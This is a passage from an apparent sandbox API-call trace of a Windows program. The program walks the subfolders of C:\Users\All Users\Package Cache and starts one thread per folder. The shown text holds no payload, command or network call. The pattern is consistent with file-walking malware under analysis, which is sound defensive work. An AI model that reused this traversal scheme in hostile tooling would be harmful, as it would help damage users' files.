cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0168.758] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0168.758] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0168.758] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe5398 [0168.758] wcscpy (in: _Dest=0x2fe5398, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.758] wcscat (in: _Dest=0x2fe5398, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.758] wcscat (in: _Dest=0x2fe5398, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0168.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe5398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0168.759] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0168.759] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0168.759] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0168.759] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6eb80 [0168.759] wcscpy (in: _Dest=0x2f6eb80, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.759] wcscat (in: _Dest=0x2f6eb80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.759] wcscat (in: _Dest=0x2f6eb80, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0168.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6eb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0168.759] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x879cfe8b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x879cfe8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0168.759] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0168.759] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0168.759] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe55f8 [0168.760] wcscpy (in: _Dest=0x2fe55f8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.760] wcscat (in: _Dest=0x2fe55f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.760] wcscat (in: _Dest=0x2fe55f8, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0168.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe55f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0168.760] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0168.760] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0168.760] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0168.760] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6ee40 [0168.760] wcscpy (in: _Dest=0x2f6ee40, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.760] wcscat (in: _Dest=0x2f6ee40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.760] wcscat (in: _Dest=0x2f6ee40, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0168.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6ee40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0168.761] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0168.761] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0168.761] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0168.761] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6e130 [0168.761] wcscpy (in: _Dest=0x2f6e130, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.761] wcscat (in: _Dest=0x2f6e130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.761] wcscat (in: _Dest=0x2f6e130, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0168.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6e130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0168.762] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0168.762] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0168.762] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0168.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6dc60 [0168.762] wcscpy (in: _Dest=0x2f6dc60, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.762] wcscat (in: _Dest=0x2f6dc60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.762] wcscat (in: _Dest=0x2f6dc60, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0168.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6dc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0168.763] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0168.763] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0168.763] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0168.763] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e290 [0168.763] wcscpy (in: _Dest=0x2f6e290, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.763] wcscat (in: _Dest=0x2f6e290, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.763] wcscat (in: _Dest=0x2f6e290, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0168.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6e290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0168.764] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0168.764] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0168.764] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0168.764] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6ece0 [0168.764] wcscpy (in: _Dest=0x2f6ece0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.764] wcscat (in: _Dest=0x2f6ece0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.764] wcscat (in: _Dest=0x2f6ece0, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0168.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6ece0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0168.764] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0168.764] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0168.765] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0168.765] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e550 [0168.765] wcscpy (in: _Dest=0x2f6e550, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.765] wcscat (in: _Dest=0x2f6e550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.765] wcscat (in: _Dest=0x2f6e550, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0168.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6e550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0168.765] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0168.765] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0168.765] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0168.765] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6ddc0 [0168.765] wcscpy (in: _Dest=0x2f6ddc0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.766] wcscat (in: _Dest=0x2f6ddc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.766] wcscat (in: _Dest=0x2f6ddc0, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0168.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6ddc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0168.766] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c305154, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c305154, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0168.766] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0168.766] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0168.766] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe5430 [0168.766] wcscpy (in: _Dest=0x2fe5430, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.766] wcscat (in: _Dest=0x2fe5430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.766] wcscat (in: _Dest=0x2fe5430, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0168.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe5430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0168.767] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0168.767] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0168.767] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0168.767] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6ec30 [0168.767] wcscpy (in: _Dest=0x2f6ec30, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.767] wcscat (in: _Dest=0x2f6ec30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.767] wcscat (in: _Dest=0x2f6ec30, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0168.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6ec30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0168.768] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0168.768] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0168.768] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0168.768] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6db00 [0168.768] wcscpy (in: _Dest=0x2f6db00, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.768] wcscat (in: _Dest=0x2f6db00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.768] wcscat (in: _Dest=0x2f6db00, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0168.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6db00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0168.769] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c26c79b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c26c79b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0168.769] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0168.769] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0168.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe4f70 [0168.769] wcscpy (in: _Dest=0x2fe4f70, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.769] wcscat (in: _Dest=0x2fe4f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.769] wcscat (in: _Dest=0x2fe4f70, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0168.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe4f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0168.770] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c1fa04e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1fa04e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0168.770] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0168.770] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0168.770] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe54c8 [0168.770] wcscpy (in: _Dest=0x2fe54c8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.770] wcscat (in: _Dest=0x2fe54c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.770] wcscat (in: _Dest=0x2fe54c8, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0168.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe54c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0168.770] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: 